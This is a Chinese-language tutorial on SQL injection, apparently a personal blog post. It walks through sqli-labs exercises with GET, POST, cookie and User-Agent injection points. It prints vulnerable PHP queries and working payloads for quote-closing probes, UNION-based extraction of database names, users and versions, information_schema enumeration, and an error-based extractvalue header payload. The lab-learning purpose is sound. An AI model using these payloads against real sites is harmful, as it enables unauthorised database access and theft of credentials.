本文最后更新于:2023年8月25日 下午
1、参数提交注入
1.1 明确参数类型
1.2 明确提交方式
1
| GET, POST,COOKIE,REQUEST,HTTP头等
|
可能有些网站是以Request的方式接受参数,所以GET和POST都行
注入的地方可能在User-Agent、cookie上,关键是看是否带入数据库查询。
1.3 如何去闭合sql
sql语句干扰符号: ‘ ,” , ) , } % 等,具体需看写法
1 2 3
| ' " 将sql字符串包裹,可以相应使用' % 出现在like 模糊查询 ( ) 可能出现在insert等语句中
|
1.4 注入中注释的使用
–+ 在get请求方式放在url中可以使用,相当于sql中的注释,–+相当于 – (–空格),可以使后面的sql语句被注释
# 也可当作注释使用,post中不用 (–+),用#注释后面的sql语句
2、参数字符型注入测试
2.1 less5
1
| $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
|
SQL执行的语句是采用了 ‘ 单引号闭合,
我们要是直接使用?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
是不会有任何的反应。
正确写法:
1 2
| ?id=1' and '1'='1 ?id=1' and '1'='2
|
或者:
1 2 3
| ?id=1' and 1=1 --+ ?id=1' and 1=2 --+ --+ 将后面的sql语句进行注释
|
使用 order by 3 查询出字段数为3
2.2 less 6
源码:
1 2
| $id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
|
换成了双引号闭合
3、POST数据提交注入测试
3.1 less11
源码:
1
| @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
|
为了实验方便,回显sql语句:
如图:
在bp中抓包
测试:
发现可以注入
查询字段:
发现字段数只有俩列
查询回显字段:
发现第一个字段显示用户名,第二个显示密码
1 2
| 要回显出字段,首先应该令前一个查询条件为假,这样union之后才会显示第二天select语句结果。 或者使用limit 1,1 显示出第二条数据,如下图:
|
回显出数据库名,和mysql版本号:
查询出用户,操作系统
然后就可以使用
1 2 3
| information_schema.tables 查询表名称 information_schema.columns 查询表中字段 information_schema.schemata 查询数据库名称
|
查询所有数据库(group_concat()):
查询security下的表:
查询users下面的字段:
查询username、password字段的数据:
4、JSON注入
1 2 3 4 5
| JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。 在JSON中是根据引号(“)、冒号(:)、逗号(,)、花括号({})来区分各字符的意义的。如果向JSON中注入恶意字符,那么JSON将解析失败。 JSON注入和XML注入、SQL注入一样,都需要对影响语句的内容进行转义,如双引号、花括号等。
|
和SQL注入一样(只是传入的形式变了),插入注入语句。但要注意一点是对影响json语句的要进行转义,如双引号、花括号等。
注入方式:如果是数字的可以不加 ‘ 闭合, 如果是字符的话,加上引号闭合
JSON格式: 使用双引号 “ “ 键值对形式
1 2 3 4
| { "username": "admin", "password": "admin" }
|
当需要表示一组值时,JSON 不但能够提高可读性,而且可以减少复杂性。
值的数组 形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| { "programmers": [ { "firstName": "Brett", "lastName":"McLaughlin", "email": "brett@newInstance.com" }, { "firstName": "Jason", "lastName":"Hunter", "email": "jason@servlets.com" }, { "firstName": "Elliotte", "lastName":"Harold", "email": "elharo@macfaq.com" } ], "authors": [ { "firstName": "Isaac", "lastName": "Asimov", "genre": "science fiction" }, { "firstName": "Tad", "lastName": "Williams", "genre": "fantasy" }, { "firstName": "Frank", "lastName": "Peretti", "genre": "christian fiction" } ], "musicians": [ { "firstName": "Eric", "lastName": "Clapton", "instrument": "guitar" }, { "firstName": "Sergei", "lastName": "Rachmaninoff", "instrument": "piano" } ] }
|
5、COOKIE数据提交注入测试
网站传递参数的方式:
参数类型 |
含义 |
get型 |
一般访问网页的行为 |
cookie型 (不是请求方式) |
伴随着所有访问网页的行为 |
post型 |
上传文件,登陆 |
cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】
条件 |
含义 |
条件1 |
程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤 |
条件2 |
条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了 |
通过分析源码可知,当我们使用正确的用户名密码登录成功后,就会产生一个cookie值(记录了username值),再次登录后就会携带这个cookie值,通过cookie查询用户名,但是源码对cookie存在 sql 注入
源码cookie查询语句:
1
| $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
|
使用正确用户名、密码登录
成功登录后,抓取到一个数据包携带cookie
查询到字段数为3
1 2
| 修改cookie参数 Cookie: uname=admin' and 1=2 union select database(),user(),version() #
|
6、HTTP头部参数数据注入测试
分析源码,可以看到,源码对
1 2 3 4
| $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
|
UA,和ip没有进行限制,可以进行注入。
也就是说我们通过修改http的头部信息可以达到SQL注入的效果。
登录之后,修改UA数值为:fuck 可得
那我们将 user-agent 修改为注入语句呢?
将 user-agent 修改为
1
| 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
|
可以看到我们已经得到了版本号。